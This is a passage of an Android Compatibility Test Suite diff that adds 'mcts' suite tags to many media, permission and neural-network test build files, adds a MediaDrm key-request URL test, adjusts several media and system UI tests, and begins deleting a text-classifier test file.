@@ -27,5 +27,6 @@
"cts",
"general-tests",
"mts-art",
+ "mcts-art",
],
}
diff --git a/tests/tests/media/bettertogether/Android.bp b/tests/tests/media/bettertogether/Android.bp
index 3c7a66b3..fca1972 100644
--- a/tests/tests/media/bettertogether/Android.bp
+++ b/tests/tests/media/bettertogether/Android.bp
@@ -55,6 +55,7 @@
"cts",
"general-tests",
"mts-media",
+ "mcts-media",
],
host_required: ["cts-dynamic-config"],
min_sdk_version: "29",
diff --git a/tests/tests/media/codec/Android.bp b/tests/tests/media/codec/Android.bp
index ab6edba..3ccb2f2 100644
--- a/tests/tests/media/codec/Android.bp
+++ b/tests/tests/media/codec/Android.bp
@@ -57,6 +57,7 @@
"cts",
"general-tests",
"mts-media",
+ "mcts-media",
],
host_required: ["cts-dynamic-config"],
min_sdk_version: "29",
diff --git a/tests/tests/media/decoder/Android.bp b/tests/tests/media/decoder/Android.bp
index 410fb5b..208bb93 100644
--- a/tests/tests/media/decoder/Android.bp
+++ b/tests/tests/media/decoder/Android.bp
@@ -87,6 +87,7 @@
"cts",
"general-tests",
"mts-media",
+ "mcts-media",
],
host_required: ["cts-dynamic-config"],
min_sdk_version: "29",
diff --git a/tests/tests/media/drmframework/Android.bp b/tests/tests/media/drmframework/Android.bp
index 5a66af19..8736237 100644
--- a/tests/tests/media/drmframework/Android.bp
+++ b/tests/tests/media/drmframework/Android.bp
@@ -63,6 +63,7 @@
"cts",
"general-tests",
"mts-media",
+ "mcts-media",
],
host_required: ["cts-dynamic-config"],
min_sdk_version: "current",
diff --git a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java
index 5180acc..9fd83c6 100644
--- a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java
+++ b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java
@@ -42,11 +42,13 @@
import androidx.test.filters.SdkSuppress;
import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.ApiTest;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import org.junit.Assert;
+import org.junit.Test;
import java.io.File;
import java.nio.charset.Charset;
@@ -1669,6 +1671,48 @@
}
}
+ /**
+ * The test tries to enforce the behavior described
+ * in {@link android.media.MediaDrm.KeyRequest#getDefaultUrl()}.
+ * It should return an empty string if the default URL is not known.
+ */
+ @Presubmit
+ @ApiTest(apis = {"android.media.MediaDrm.KeyRequest#getDefaultUrl"})
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.UPSIDE_DOWN_CAKE)
+ public void testGetKeyRequestDefaultUrl()
+ throws UnsupportedSchemeException, NotProvisionedException {
+ if (watchHasNoClearkeySupport()) {
+ return;
+ }
+
+ MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
+ byte[] sessionId = openSession(drm);
+
+ try {
+ if (!preparePlayback(
+ MIME_VIDEO_AVC,
+ new String[0],
+ CENC_AUDIO_URL, false /* audioEncrypted */ ,
+ CENC_VIDEO_URL, true /* videoEncrypted */,
+ VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false /* scrambled */,
+ sessionId, getSurfaces())) {
+ closeSession(drm, sessionId);
+ stopDrm(drm);
+ return;
+ }
+ } catch (Exception e) {
+ throw new Error("Unexpected exception ", e);
+ }
+
+ MediaDrm.KeyRequest drmRequest = drm.getKeyRequest(sessionId, mMediaCodecPlayer.getDrmInitData(), "cenc",
+ MediaDrm.KEY_TYPE_STREAMING,
+ null);
+ String defaultUrl = drmRequest.getDefaultUrl();
+ Log.i(TAG, "Default url is [" + defaultUrl + "].");
+ assertEquals("Default url of key request should be empty", "", defaultUrl);
+ drm.close();
+ }
+
private void testIntegerProperties(MediaDrm drm, String testKey)
throws ResourceBusyException, UnsupportedSchemeException, NotProvisionedException {
if (getClearkeyVersionInt(drm) < 14) {
diff --git a/tests/tests/media/encoder/Android.bp b/tests/tests/media/encoder/Android.bp
index cd860cc..c7e2a1a 100644
--- a/tests/tests/media/encoder/Android.bp
+++ b/tests/tests/media/encoder/Android.bp
@@ -57,6 +57,7 @@
"cts",
"general-tests",
"mts-media",
+ "mcts-media",
],
host_required: ["cts-dynamic-config"],
min_sdk_version: "29",
diff --git a/tests/tests/media/extractor/Android.bp b/tests/tests/media/extractor/Android.bp
index fad256f..943008e 100644
--- a/tests/tests/media/extractor/Android.bp
+++ b/tests/tests/media/extractor/Android.bp
@@ -43,6 +43,7 @@
"cts",
"general-tests",
"mts-media",
+ "mcts-media",
],
host_required: ["cts-dynamic-config"],
min_sdk_version: "29",
diff --git a/tests/tests/media/misc/Android.bp b/tests/tests/media/misc/Android.bp
index feaabe4..6aa9f40 100644
--- a/tests/tests/media/misc/Android.bp
+++ b/tests/tests/media/misc/Android.bp
@@ -106,6 +106,7 @@
"cts",
"general-tests",
"mts-media",
+ "mcts-media",
],
host_required: ["cts-dynamic-config"],
min_sdk_version: "29",
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaCommunicationManagerTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaCommunicationManagerTest.java
index cc5c3c1..a1d7060 100644
--- a/tests/tests/media/misc/src/android/media/misc/cts/MediaCommunicationManagerTest.java
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaCommunicationManagerTest.java
@@ -15,8 +15,11 @@
*/
package android.media.misc.cts;
+import static android.Manifest.permission.MEDIA_CONTENT_CONTROL;
+
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertThrows;
import static org.junit.Assert.assertTrue;
import android.content.Context;
@@ -24,13 +27,13 @@
import android.media.MediaSession2;
import android.media.Session2CommandGroup;
import android.media.Session2Token;
-import android.os.Process;
import androidx.test.InstrumentationRegistry;
import androidx.test.filters.SdkSuppress;
import androidx.test.filters.SmallTest;
import androidx.test.runner.AndroidJUnit4;
+import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -63,6 +66,12 @@
mManager = mContext.getSystemService(MediaCommunicationManager.class);
}
+ @After
+ public void tearDown() {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
+ }
+
@Test
public void testGetVersion() {
assertNotNull("Missing MediaCommunicationManager", mManager);
@@ -71,11 +80,17 @@
@Test
public void testGetSession2Tokens() throws Exception {
+ // registerSessionCallback requires permission MEDIA_CONTENT_CONTROL
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity(MEDIA_CONTENT_CONTROL);
+
Executor executor = Executors.newSingleThreadExecutor();
assertNotNull("Missing MediaCommunicationManager", mManager);
ManagerSessionCallback managerCallback = new ManagerSessionCallback();
Session2Callback sessionCallback = new Session2Callback();
+
mManager.registerSessionCallback(executor, managerCallback);
try (MediaSession2 session = new MediaSession2.Builder(mContext)
@@ -87,16 +102,23 @@
assertTrue(managerCallback.mCreatedTokens.contains(currentToken));
assertTrue(mManager.getSession2Tokens().contains(currentToken));
}
+
mManager.unregisterSessionCallback(managerCallback);
}
@Test
public void testManagerSessionCallback() throws Exception {
+ // registerSessionCallback requires permission MEDIA_CONTENT_CONTROL
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity(MEDIA_CONTENT_CONTROL);
+
Executor executor = Executors.newSingleThreadExecutor();
assertNotNull("Missing MediaCommunicationManager", mManager);
ManagerSessionCallback managerCallback = new ManagerSessionCallback();
Session2Callback sessionCallback = new Session2Callback();
+
mManager.registerSessionCallback(executor, managerCallback);
try (MediaSession2 session = new MediaSession2.Builder(mContext)
diff --git a/tests/tests/media/muxer/Android.bp b/tests/tests/media/muxer/Android.bp
index 85eab12..afe8d92 100644
--- a/tests/tests/media/muxer/Android.bp
+++ b/tests/tests/media/muxer/Android.bp
@@ -73,6 +73,7 @@
"cts",
"general-tests",
"mts-media",
+ "mcts-media",
],
host_required: ["cts-dynamic-config"],
min_sdk_version: "29",
diff --git a/tests/tests/media/player/Android.bp b/tests/tests/media/player/Android.bp
index ecda2ff..5a6f185 100644
--- a/tests/tests/media/player/Android.bp
+++ b/tests/tests/media/player/Android.bp
@@ -55,6 +55,7 @@
"cts",
"general-tests",
"mts-media",
+ "mcts-media",
],
host_required: ["cts-dynamic-config"],
min_sdk_version: "29",
diff --git a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerSurfaceStubActivity.java b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerSurfaceStubActivity.java
index 310be5f..1506e65b 100644
--- a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerSurfaceStubActivity.java
+++ b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerSurfaceStubActivity.java
@@ -15,6 +15,8 @@
*/
package android.media.player.cts;
+import static org.junit.Assume.assumeTrue;
+
import android.app.Activity;
import android.content.res.AssetFileDescriptor;
import android.content.res.Resources;
@@ -24,6 +26,7 @@
import android.platform.test.annotations.AppModeFull;
import android.util.Log;
+import com.android.compatibility.common.util.MediaUtils;
import com.android.compatibility.common.util.Preconditions;
import java.io.File;
@@ -34,7 +37,7 @@
private static final String TAG = "MediaPlayerSurfaceStubActivity";
- static final String mInpPrefix = WorkDir.getMediaDirString();
+ static final String FILE_PATH = WorkDir.getMediaDirString() + "testvideo.3gp";
protected Resources mResources;
private VideoSurfaceView mVideoView = null;
@@ -48,9 +51,9 @@
mMediaPlayer = new MediaPlayer();
AssetFileDescriptor afd = null;
- Preconditions.assertTestFileExists(mInpPrefix + "testvideo.3gp");
+ Preconditions.assertTestFileExists(FILE_PATH);
try {
- File inpFile = new File(mInpPrefix + "testvideo.3gp");
+ File inpFile = new File(FILE_PATH);
ParcelFileDescriptor parcelFD =
ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
afd = new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
@@ -76,11 +79,17 @@
@Override
protected void onResume() {
super.onResume();
- mVideoView.onResume();
+ if (mVideoView != null) {
+ mVideoView.onResume();
+ }
}
public void playVideo() throws Exception {
- mVideoView.startTest();
+ assumeTrue("codecs not found for " + FILE_PATH,
+ MediaUtils.hasCodecsForResource(FILE_PATH));
+ if (mVideoView != null) {
+ mVideoView.startTest();
+ }
}
}
diff --git a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java
index 6e3e8e2..9bf90c5 100644
--- a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java
+++ b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java
@@ -23,6 +23,7 @@
import static junit.framework.TestCase.fail;
import static org.junit.Assert.assertThrows;
+import static org.junit.Assume.assumeTrue;
import android.content.Context;
import android.content.pm.PackageManager;
@@ -360,8 +361,10 @@
private void internalTestPlayAudio(final String res,
int mp3Duration, int tolerance, int seekDuration) throws Exception {
- Preconditions.assertTestFileExists(mInpPrefix + res);
- MediaPlayer mp = MediaPlayer.create(mContext, Uri.fromFile(new File(mInpPrefix + res)));
+ String filePath = mInpPrefix + res;
+ Preconditions.assertTestFileExists(filePath);
+ assumeTrue("codecs not found for " + filePath, MediaUtils.hasCodecsForResource(filePath));
+ MediaPlayer mp = MediaPlayer.create(mContext, Uri.fromFile(new File(filePath)));
try {
mp.setAudioStreamType(AudioManager.STREAM_MUSIC);
mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
diff --git a/tests/tests/media/projection/Android.bp b/tests/tests/media/projection/Android.bp
index 584a319..6769424 100644
--- a/tests/tests/media/projection/Android.bp
+++ b/tests/tests/media/projection/Android.bp
@@ -62,6 +62,7 @@
"cts",
"general-tests",
"mts-media",
+ "mcts-media",
],
host_required: ["cts-dynamic-config"],
min_sdk_version: "33",
diff --git a/tests/tests/media/recorder/Android.bp b/tests/tests/media/recorder/Android.bp
index 9e17567..9849ff2 100644
--- a/tests/tests/media/recorder/Android.bp
+++ b/tests/tests/media/recorder/Android.bp
@@ -52,6 +52,7 @@
"cts",
"general-tests",
"mts-media",
+ "mcts-media",
],
host_required: ["cts-dynamic-config"],
min_sdk_version: "29",
diff --git a/tests/tests/mediaparser/Android.bp b/tests/tests/mediaparser/Android.bp
index d916d61..bc6f6fb 100644
--- a/tests/tests/mediaparser/Android.bp
+++ b/tests/tests/mediaparser/Android.bp
@@ -27,6 +27,7 @@
"cts",
"general-tests",
"mts-media",
+ "mcts-media",
],
}
diff --git a/tests/tests/mediastress/Android.bp b/tests/tests/mediastress/Android.bp
index 48fe6a6..2de9461 100644
--- a/tests/tests/mediastress/Android.bp
+++ b/tests/tests/mediastress/Android.bp
@@ -24,6 +24,7 @@
"cts",
"general-tests",
"mts-media",
+ "mcts-media",
],
// Include both the 32 and 64 bit versions
compile_multilib: "both",
diff --git a/tests/tests/mediatranscoding/Android.bp b/tests/tests/mediatranscoding/Android.bp
index 6a220a3..341434c 100644
--- a/tests/tests/mediatranscoding/Android.bp
+++ b/tests/tests/mediatranscoding/Android.bp
@@ -25,6 +25,7 @@
"cts",
"general-tests",
"mts-media",
+ "mcts-media",
"mts",
],
static_libs: [
diff --git a/tests/tests/neuralnetworks/Android.bp b/tests/tests/neuralnetworks/Android.bp
index 00298e6..adb0f9f 100644
--- a/tests/tests/neuralnetworks/Android.bp
+++ b/tests/tests/neuralnetworks/Android.bp
@@ -53,6 +53,7 @@
"cts",
"mts",
"mts-neuralnetworks",
+ "mcts-neuralnetworks",
],
test_config: "AndroidTestDevice.xml",
},
diff --git a/tests/tests/neuralnetworks/benchmark/Android.bp b/tests/tests/neuralnetworks/benchmark/Android.bp
index 60fb0eb..c280408 100644
--- a/tests/tests/neuralnetworks/benchmark/Android.bp
+++ b/tests/tests/neuralnetworks/benchmark/Android.bp
@@ -28,6 +28,7 @@
"general-tests",
"mts",
"mts-neuralnetworks",
+ "mcts-neuralnetworks",
],
static_libs: [
"androidx.test.rules",
diff --git a/tests/tests/neuralnetworks/java_test/Android.bp b/tests/tests/neuralnetworks/java_test/Android.bp
index cfa2782..84d257a 100644
--- a/tests/tests/neuralnetworks/java_test/Android.bp
+++ b/tests/tests/neuralnetworks/java_test/Android.bp
@@ -36,6 +36,7 @@
"general-tests",
"mts",
"mts-neuralnetworks",
+ "mcts-neuralnetworks",
],
sdk_version: "test_current",
// Do not compress model data files.
diff --git a/tests/tests/neuralnetworks/tflite_delegate/Android.bp b/tests/tests/neuralnetworks/tflite_delegate/Android.bp
index 6acce1d..67b2d95 100644
--- a/tests/tests/neuralnetworks/tflite_delegate/Android.bp
+++ b/tests/tests/neuralnetworks/tflite_delegate/Android.bp
@@ -51,6 +51,7 @@
"cts",
"mts",
"mts-neuralnetworks",
+ "mcts-neuralnetworks",
"general-tests",
],
sdk_version: "current",
diff --git a/tests/tests/os/Android.bp b/tests/tests/os/Android.bp
index fd7ff3a..b5e389e 100644
--- a/tests/tests/os/Android.bp
+++ b/tests/tests/os/Android.bp
@@ -62,6 +62,7 @@
"general-tests",
"sts",
"mts-documentsui",
+ "mcts-documentsui",
],
sdk_version: "test_current",
libs: [
diff --git a/tests/tests/packagewatchdog/Android.bp b/tests/tests/packagewatchdog/Android.bp
index 46ec52d..72c9c52 100644
--- a/tests/tests/packagewatchdog/Android.bp
+++ b/tests/tests/packagewatchdog/Android.bp
@@ -26,7 +26,8 @@
"cts",
"vts",
"general-tests",
- "mts-extservices"
+ "mts-extservices",
+ "mcts-extservices",
],
libs: ["android.test.base"],
static_libs: [
diff --git a/tests/tests/permission/Android.bp b/tests/tests/permission/Android.bp
index 5a907d7..5ca3344 100644
--- a/tests/tests/permission/Android.bp
+++ b/tests/tests/permission/Android.bp
@@ -30,6 +30,7 @@
"general-tests",
"sts",
"mts-permission",
+ "mcts-permission",
],
// Include both the 32 and 64 bit versions
compile_multilib: "both",
diff --git a/tests/tests/permission/sdk28/Android.bp b/tests/tests/permission/sdk28/Android.bp
index 3043c93..2bdffab 100644
--- a/tests/tests/permission/sdk28/Android.bp
+++ b/tests/tests/permission/sdk28/Android.bp
@@ -29,5 +29,6 @@
"cts",
"general-tests",
"mts-permission",
+ "mcts-permission",
],
}
diff --git a/tests/tests/permission/telephony/Android.bp b/tests/tests/permission/telephony/Android.bp
index bbfe06c..5ded57a 100644
--- a/tests/tests/permission/telephony/Android.bp
+++ b/tests/tests/permission/telephony/Android.bp
@@ -26,6 +26,7 @@
"cts",
"general-tests",
"mts-permission",
+ "mcts-permission",
],
// Include both the 32 and 64 bit versions
compile_multilib: "both",
diff --git a/tests/tests/permissionmultiuser/Android.bp b/tests/tests/permissionmultiuser/Android.bp
index f577c82..b86b022 100644
--- a/tests/tests/permissionmultiuser/Android.bp
+++ b/tests/tests/permissionmultiuser/Android.bp
@@ -43,5 +43,6 @@
"cts",
"general-tests",
"mts-permission",
+ "mcts-permission",
],
}
diff --git a/tests/tests/permissionpolicy/Android.bp b/tests/tests/permissionpolicy/Android.bp
index 5a92e89..4fdc51b 100644
--- a/tests/tests/permissionpolicy/Android.bp
+++ b/tests/tests/permissionpolicy/Android.bp
@@ -26,6 +26,7 @@
"cts",
"general-tests",
"mts-permission",
+ "mcts-permission",
],
libs: ["android.test.base"],
static_libs: [
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
index 285e3f5..31e28aa 100644
--- a/tests/tests/provider/Android.bp
+++ b/tests/tests/provider/Android.bp
@@ -14,6 +14,7 @@
"general-tests",
"sts",
"mts-documentsui",
+ "mcts-documentsui",
],
libs: [
diff --git a/tests/tests/provider/preconditions/Android.bp b/tests/tests/provider/preconditions/Android.bp
index d889df5..485cc2e 100644
--- a/tests/tests/provider/preconditions/Android.bp
+++ b/tests/tests/provider/preconditions/Android.bp
@@ -15,6 +15,7 @@
"cts",
"general-tests",
"sts",
+ "mcts-documentsui",
"mts-documentsui"
],
host_supported: true,
diff --git a/tests/tests/role/Android.bp b/tests/tests/role/Android.bp
index ae1fdfd..a619ecd 100644
--- a/tests/tests/role/Android.bp
+++ b/tests/tests/role/Android.bp
@@ -38,6 +38,7 @@
"cts",
"general-tests",
"mts-permission",
+ "mcts-permission",
],
data: [
diff --git a/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java b/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java
index c90b885..263920c 100644
--- a/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java
+++ b/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java
@@ -64,7 +64,7 @@
boolean isFlagEnabled =
FeatureFlagUtils.isEnabled(targetContext, "settings_support_large_screen");
final boolean shouldEnableLargeScreenOptimization =
- SystemProperties.getBoolean("persist.settings.large_screen_opt.enabled", true);
+ SystemProperties.getBoolean("persist.settings.large_screen_opt.enabled", false);
boolean isSplitSupported = SplitController.getInstance(targetContext)
.getSplitSupportStatus() == SplitController.SplitSupportStatus.SPLIT_AVAILABLE;
mIsSplitSupported = isFlagEnabled && isSplitSupported
diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml
index 3bcb78e..6fbb682 100644
--- a/tests/tests/systemui/AndroidManifest.xml
+++ b/tests/tests/systemui/AndroidManifest.xml
@@ -39,7 +39,6 @@
android:screenOrientation="portrait"/>
<activity android:name=".WindowInsetsActivity"
android:theme="@android:style/Theme.Material"
- android:screenOrientation="portrait"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
index 681d948..10e63597c 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
@@ -25,6 +25,8 @@
import static android.view.View.SYSTEM_UI_FLAG_FULLSCREEN;
import static android.view.View.SYSTEM_UI_FLAG_HIDE_NAVIGATION;
import static android.view.View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY;
+import static android.view.View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN;
+import static android.view.View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION;
import static android.view.View.SYSTEM_UI_FLAG_VISIBLE;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -760,7 +762,8 @@
final int swipeCount = 2;
final boolean insideLimit = true;
testSystemGestureExclusionLimit(swipeCount, insideLimit, SYSTEM_UI_FLAG_IMMERSIVE_STICKY
- | SYSTEM_UI_FLAG_FULLSCREEN | SYSTEM_UI_FLAG_HIDE_NAVIGATION);
+ | SYSTEM_UI_FLAG_FULLSCREEN | SYSTEM_UI_FLAG_HIDE_NAVIGATION
+ | SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION);
assertEquals("Swipe must not be canceled.", 0, mActionCancelPoints.size());
assertEquals("Action up points.", swipeCount, mActionUpPoints.size());
@@ -775,7 +778,8 @@
final int swipeCount = 2;
final boolean insideLimit = false;
testSystemGestureExclusionLimit(swipeCount, insideLimit, SYSTEM_UI_FLAG_IMMERSIVE_STICKY
- | SYSTEM_UI_FLAG_FULLSCREEN | SYSTEM_UI_FLAG_HIDE_NAVIGATION);
+ | SYSTEM_UI_FLAG_FULLSCREEN | SYSTEM_UI_FLAG_HIDE_NAVIGATION
+ | SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION);
assertEquals("Swipe must not be canceled.", 0, mActionCancelPoints.size());
assertEquals("Action up points.", swipeCount, mActionUpPoints.size());
diff --git a/tests/tests/textclassifier/Android.bp b/tests/tests/textclassifier/Android.bp
index bac5f6a..6ab8811 100644
--- a/tests/tests/textclassifier/Android.bp
+++ b/tests/tests/textclassifier/Android.bp
@@ -26,6 +26,7 @@
"cts",
"general-tests",
"mts-extservices",
+ "mcts-extservices",
],
libs: ["android.test.base"],
static_libs: [
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierTest.java
deleted file mode 100644
index 266a9f5..0000000
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierTest.java
+++ /dev/null
@@ -1,409 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.textclassifier.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-
-import android.icu.util.ULocale;
-import android.os.Bundle;
-import android.os.LocaleList;
-import android.os.Parcel;
-import android.os.Parcelable;
-import android.service.textclassifier.TextClassifierService;
-import android.view.textclassifier.ConversationAction;
-import android.view.textclassifier.ConversationActions;
-import android.view.textclassifier.SelectionEvent;
-import android.view.textclassifier.TextClassification;
-import android.view.textclassifier.TextClassificationContext;
-import android.view.textclassifier.TextClassificationManager;
-import android.view.textclassifier.TextClassifier;
-import android.view.textclassifier.TextClassifierEvent;
-import android.view.textclassifier.TextLanguage;
-import android.view.textclassifier.TextLinks;
-import android.view.textclassifier.TextSelection;
-
-import androidx.core.os.BuildCompat;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.SmallTest;
-
-import com.google.common.collect.Range;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.HashSet;
-import java.util.List;
-
-@SmallTest
-@RunWith(Parameterized.class)
-public class TextClassifierTest {
- private static final String BUNDLE_KEY = "key";
- private static final String BUNDLE_VALUE = "value";
- private static final Bundle BUNDLE = new Bundle();
- static {
- BUNDLE.putString(BUNDLE_KEY, BUNDLE_VALUE);
- }
- private static final LocaleList LOCALES = LocaleList.forLanguageTags("en");
- private static final int START = 1;
- private static final int END = 3;
- // This text has lots of things that are probably entities in many cases.
- private static final String TEXT = "An email address is test@example.com. A phone number"
- + " might be +12122537077. Somebody lives at 123 Main Street, Mountain View, CA,"
- + " and there's good stuff at https://www.android.com :)";
- private static final TextSelection.Request TEXT_SELECTION_REQUEST =
- new TextSelection.Request.Builder(TEXT, START, END)
- .setDefaultLocales(LOCALES)
- .build();
- private static final TextClassification.Request TEXT_CLASSIFICATION_REQUEST =
- new TextClassification.Request.Builder(TEXT, START, END)
- .setDefaultLocales(LOCALES)
- .build();
- private static final TextLanguage.Request TEXT_LANGUAGE_REQUEST =
- new TextLanguage.Request.Builder(TEXT)
- .setExtras(BUNDLE)
- .build();
- private static final ConversationActions.Message FIRST_MESSAGE =
- new ConversationActions.Message.Builder(ConversationActions.Message.PERSON_USER_SELF)
- .setText(TEXT)
- .build();
- private static final ConversationActions.Message SECOND_MESSAGE =
- new ConversationActions.Message.Builder(ConversationActions.Message.PERSON_USER_OTHERS)
- .setText(TEXT)
- .build();
- private static final ConversationActions.Request CONVERSATION_ACTIONS_REQUEST =
- new ConversationActions.Request.Builder(
- Arrays.asList(FIRST_MESSAGE, SECOND_MESSAGE)).build();
-
- private static final String CURRENT = "current";
- private static final String SESSION = "session";
- private static final String DEFAULT = "default";
- private static final String NO_OP = "no_op";
-
- @Parameterized.Parameters(name = "{0}")
- public static Iterable<Object> textClassifierTypes() {
- return Arrays.asList(CURRENT, SESSION, DEFAULT, NO_OP);
- }
-
- @Parameterized.Parameter
- public String mTextClassifierType;
-
- private TextClassifier mClassifier;
-
- @Before
- public void setup() {
- TextClassificationManager manager = InstrumentationRegistry.getTargetContext()
- .getSystemService(TextClassificationManager.class);
- manager.setTextClassifier(null); // Resets the classifier.
- if (mTextClassifierType.equals(CURRENT)) {
- mClassifier = manager.getTextClassifier();
- } else if (mTextClassifierType.equals(SESSION)) {
- mClassifier = manager.createTextClassificationSession(
- new TextClassificationContext.Builder(
- InstrumentationRegistry.getTargetContext().getPackageName(),
- TextClassifier.WIDGET_TYPE_TEXTVIEW)
- .build());
- } else if (mTextClassifierType.equals(NO_OP)) {
- mClassifier = TextClassifier.NO_OP;
- } else {
- mClassifier = TextClassifierService.getDefaultTextClassifierImplementation(
- InstrumentationRegistry.getTargetContext());
- }
- }
-
- @After
- public void tearDown() {
- mClassifier.destroy();
- }
-
- @Test
- public void testTextClassifierDestroy() {
- mClassifier.destroy();
- if (mTextClassifierType.equals(SESSION)) {
- assertEquals(true, mClassifier.isDestroyed());
- }
- }
-
- @Test
- public void testGetMaxGenerateLinksTextLength() {
- // TODO(b/143249163): Verify the value get from TextClassificationConstants
- assertTrue(mClassifier.getMaxGenerateLinksTextLength() >= 0);
- }
-
- @Test
- public void testSmartSelection() {
- assertValidResult(mClassifier.suggestSelection(TEXT_SELECTION_REQUEST));
- }
-
- @Test
- public void testSuggestSelectionWith4Param() {
- assertValidResult(mClassifier.suggestSelection(TEXT, START, END, LOCALES));
- }
-
- @Test
- public void testClassifyText() {
- assertValidResult(mClassifier.classifyText(TEXT_CLASSIFICATION_REQUEST));
- }
-
- @Test
- public void testClassifyTextWith4Param() {
- assertValidResult(mClassifier.classifyText(TEXT, START, END, LOCALES));
- }
-
- @Test
- public void testGenerateLinks() {
- assertValidResult(mClassifier.generateLinks(new TextLinks.Request.Builder(TEXT).build()));
- }
-
- @Test
- public void testSuggestConversationActions() {
- ConversationActions conversationActions =
- mClassifier.suggestConversationActions(CONVERSATION_ACTIONS_REQUEST);
-
- assertValidResult(conversationActions);
- }
-
- @Test
- public void testLanguageDetection() {
- assertValidResult(mClassifier.detectLanguage(TEXT_LANGUAGE_REQUEST));
- }
-
- @Test(expected = RuntimeException.class)
- public void testLanguageDetection_nullRequest() {
- assertValidResult(mClassifier.detectLanguage(null));
- }
-
- @Test
- public void testOnSelectionEvent() {
- // Doesn't crash.
- mClassifier.onSelectionEvent(
- SelectionEvent.createSelectionStartedEvent(SelectionEvent.INVOCATION_MANUAL, 0));
- }
-
- @Test
- public void testOnTextClassifierEvent() {
- // Doesn't crash.
- mClassifier.onTextClassifierEvent(
- new TextClassifierEvent.ConversationActionsEvent.Builder(
- TextClassifierEvent.TYPE_SMART_ACTION)
- .build());
- }
-
- @Test
- public void testResolveEntityListModifications_only_hints() {
- TextClassifier.EntityConfig entityConfig = TextClassifier.EntityConfig.createWithHints(
- Arrays.asList("some_hint"));
- assertEquals(1, entityConfig.getHints().size());
- assertTrue(entityConfig.getHints().contains("some_hint"));
- assertEquals(new HashSet<String>(Arrays.asList("foo", "bar")),
- entityConfig.resolveEntityListModifications(Arrays.asList("foo", "bar")));
- }
-
- @Test
- public void testResolveEntityListModifications_include_exclude() {
- TextClassifier.EntityConfig entityConfig = TextClassifier.EntityConfig.create(
- Arrays.asList("some_hint"),
- Arrays.asList("a", "b", "c"),
- Arrays.asList("b", "d", "x"));
- assertEquals(1, entityConfig.getHints().size());
- assertTrue(entityConfig.getHints().contains("some_hint"));
- assertEquals(new HashSet(Arrays.asList("a", "c", "w")),
